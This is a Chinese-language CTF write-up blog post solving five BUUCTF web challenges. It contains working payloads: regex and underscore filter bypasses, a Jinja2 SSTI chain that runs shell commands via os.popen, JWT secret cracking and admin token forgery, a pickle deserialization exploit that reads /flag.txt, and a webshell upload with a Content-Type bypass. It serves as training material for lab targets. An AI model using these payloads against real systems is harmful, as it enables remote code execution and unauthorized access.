BUUCTF-WEB(66-70)

Muneyoshi發表於2024-06-08

[MRCTF2020]套娃

參考:

MRCTF2020 套娃 - Rabbittt - 部落格園 (cnblogs.com)

upfine的部落格 (cnblogs.com)

檢視原始碼

image-20240605093031887

然後我這裡查一下$_SERVER的這個用法

image-20240605093754143

然後這邊的意思就是裡面不能用_和%5f(URL編碼過的下劃線)

然後傳入b_u_p_t裡面這個引數有下劃線,我們想辦法繞過

substr_count()函式計運算元串在字串中出現的次數
PS:子串區分大小寫

所以我們用%5F繞過,然後就是不能等於2333,但是因為正則匹配中'^'和'$'代表的是行的開頭和結尾,所以能利用換行繞過

(這裡我嘗試一下陣列繞過,是繞不過去的)

b%5Fu%5Fp%5Ft=23333%0a

得到下一關

image-20240605094810760

第二關在原始碼找到jsfuck的程式碼Jsfuck -- 一個很有意思的Javascript特性 - 簡書 (jianshu.com)

image-20240605095126129

我們複製下來到控制檯操作一下image-20240605095239703

需要我們post一個Merak

image-20240605095426355

然後就出現了原始碼

image-20240605095442683

然後我們需要本地訪問,這裡使用Client-Ip,XFF不行哦,在Burp上新增

Clinet-Ip: 127.0.0.1

image-20240605101219082

file_get_contents需要我們讀取的檔案是後面的那個todat那個內容,我們應該使用偽協議

data://text/plain,todat is a happy day

重要的是那個file,怎麼去讀取,經歷change函式,是先base64編碼,然後轉換成ascll碼+i*2生成新的字元

然後我們逆向回來

import base64
def reverse_change(s):
    # 初始化一個空列表來儲存處理後的字元  
    chars = []
    # 遍歷輸入字串的每個字元  
    for i, char in enumerate(s):
        # 減去索引乘以2的ASCII碼值  
        new_char = chr(ord(char) - i * 2)
        # 將處理後的字元新增到列表中  
        chars.append(new_char)
        # 將列表中的字元重新組合成一個字串
    reversed_str = ''.join(chars)
    # 對字串進行Base64編碼(假設原始字串是Base64解碼後的)  
    base64_encoded = base64.b64encode(reversed_str.encode()).decode()
    return base64_encoded


# 匯入base64模組(用於Base64編碼和解碼)

# 示例使用  
original_base64 = "ZmxhZy5waHA="  # 替換為實際的Base64字串
reversed_base64 = reverse_change(base64.b64decode(original_base64).decode())
print(reversed_base64)  # 輸出逆向處理後的Base64字串
ZmpdYSZmXGI=

所以我們最後傳入,這裡需要url編碼,只用中間那一部分需要,我也不太清楚為啥,否則就是不行

?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI

image-20240605102314438

得到flag

image-20240605102301469

[Zer0pts2020]Can you guess it?

參考:

[BUUCTF題解][Zer0pts2020]Can you guess it - Article_kelp - 部落格園 (cnblogs.com)

[Zer0pts2020]Can you guess it?_i[zer0pts2020]can you guess it?-CSDN部落格

看原始碼

image-20240605103514017

目前來看就是會有一個隨機的值secret和我們的傳入的guess值判斷,如果相等就會給出flag

但是他是隨機的,沒有什麼漏洞,這些函式,所以我們目光轉向前面的兩個if

image-20240605103916076

basename() 函式用於從一個路徑字串中提取檔名部分(不包括目錄路徑),並返回提取的檔名,但是該函式發現最後一段為不可見字元時會退取上一層的目錄,

$_SERVER['PHP_SELF']會獲取我們當前的訪問路徑,並且PHP在根據URI解析到對應檔案後會忽略掉URL中多餘的部分

然後正規表示式只匹配末尾image-20240605104431345

所以最後payload如下

/index.php/config.php/%ff?source

image-20240605104906677

[CSCCTF 2019 Qual]FlaskLight

參考:

[CSCCTF 2019 Qual]FlaskLight——直取flag?-CSDN部落格

ssti詳解與例題以及繞過payload大全_ssti繞過空格-CSDN部落格

檢視原始碼

image-20240607090718252

發現了傳遞的引數,我們先試一下是不是模板注入

image-20240607090808476

果然是模板注入

先找有沒有什麼可以利用的類

?search={{().__class__.__mro__[1].__subclasses__()}}

image-20240607091801484

然後這邊我也是看到file類了,看看是第幾個位置,程式碼跑了一下,是第41位

str="<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>"
str = str.split(', ')
print(len(str))

可以先讀取檔案試試

?search={{().__class__.__mro__[1].__subclasses__()[40](%27/etc/passwd%27).read()}}

image-20240607092137405

然後這裡我發現我們讀取檔案沒用,這個flag找不到,我們還得想辦法命令執行,然後我發現了這個,可以利用它去弄那個內建的\__builtins__,失敗了

?search={{().__class__.__mro__[1].__subclasses__()[59].__init__.__globals__}}

image-20240607092951930

但是我退回去__init__是沒有問題的,我就感覺是過濾掉了globals,然後搜到了繞過

?search={{().__class__.__mro__[1].__subclasses__()[59].__init__['__glo'+'bals__']}}

image-20240607093611241

我們就是要用__builtins__這個

?search={{().__class__.__mro__[1].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']}}

image-20240607094412696

然後我們就是用__import__去進行命令執行

?search={{().__class__.__mro__[1].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__'].__import__('os').popen('ls').read()}}

image-20240607094656500

成功回顯,然後此時我發現我不知道哪裡有flag,然後應該就是flasklight裡面

?search={{().__class__.__mro__[1].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__'].__import__('os').popen('ls ./flasklight').read()}}

image-20240607095151603

然後檢視flag

?search={{().__class__.__mro__[1].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__'].__import__('os').popen('cat ./flasklight/coomme_geeeett_youur_flek').read()}}

image-20240607095228828

[CISCN2019 華北賽區 Day1 Web2]ikun

參考:

[CISCN2019 華北賽區 Day1 Web2]ikun_[ciscn2019 華北賽區 day1 web2]ikun 1-CSDN部落格

[BUUCTF題解][CISCN2019 華北賽區 Day1 Web2]ikun - Article_kelp - 部落格園 (cnblogs.com)

開啟題目就是一個ikun,讓我們買到lv6

image-20240607100919603

原始碼處發現圖片命名規則,發然後我們找找lv6在哪裡,編寫指令碼

image-20240607101419239

import requests
for i in range(1,1000):
    url = f'http://42308cef-cefc-458f-94d1-c4f1373cdf09.node5.buuoj.cn:81/shop?page={i}'
    res = requests.get(url)
    print(f'[+]正在查詢第{i}頁')
    if 'lv6.png' in res.text:
        print(f'[*]查詢完畢')
        print(i)
        break

最後發現是在181頁,付款的時候抓包,因為他有個折扣,我們更改一下

image-20240607102223979

修改成

image-20240607102313020

然後他返回了一個地址

image-20240607102328479

然後我們訪問了,他說得是admin使用者

image-20240607102441097

我們抓包,注意到他有個jwt格式的,可能是jwt偽造,但是我們沒有金鑰,我用空金鑰試了一下,然後不行的

image-20240607102711179

然後使用jwtcrack爆破金鑰

image-20240607110059471

得到金鑰為1Kun,然後偽造

image-20240607114824236

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

然後進入後有個按鈕沒啥用,我們檢視原始碼,找到網站原始碼壓縮包

image-20240607114855933

下載下來就開始程式碼審計,在Admin.py裡發現

image-20240607115226877

然後使用pickle這個反序列化[CISCN2019 華北賽區 Day1 Web2]ikun_[ciscn2019 華北賽區 day1 web2]ikun 1-CSDN部落格

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

然後生成的拼接在這裡

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

image-20240607115605796

然後就得到flag

image-20240607115618252

[WUSTCTF2020]CV Maker

開啟就是個註冊,我們註冊個賬號登入進去看看

image-20240608102833925

登陸進來,有個頭像上傳的地方,我們試試,是不是檔案上傳,然後有點waf,我們修改一下Content-Type以及加一個檔案頭,沒有字尾的限制

image-20240608103124170

然後上傳後在原始碼處發現了返回路徑

image-20240608103211758

我們用蟻劍連線一下,根目錄找到flag

image-20240608103330800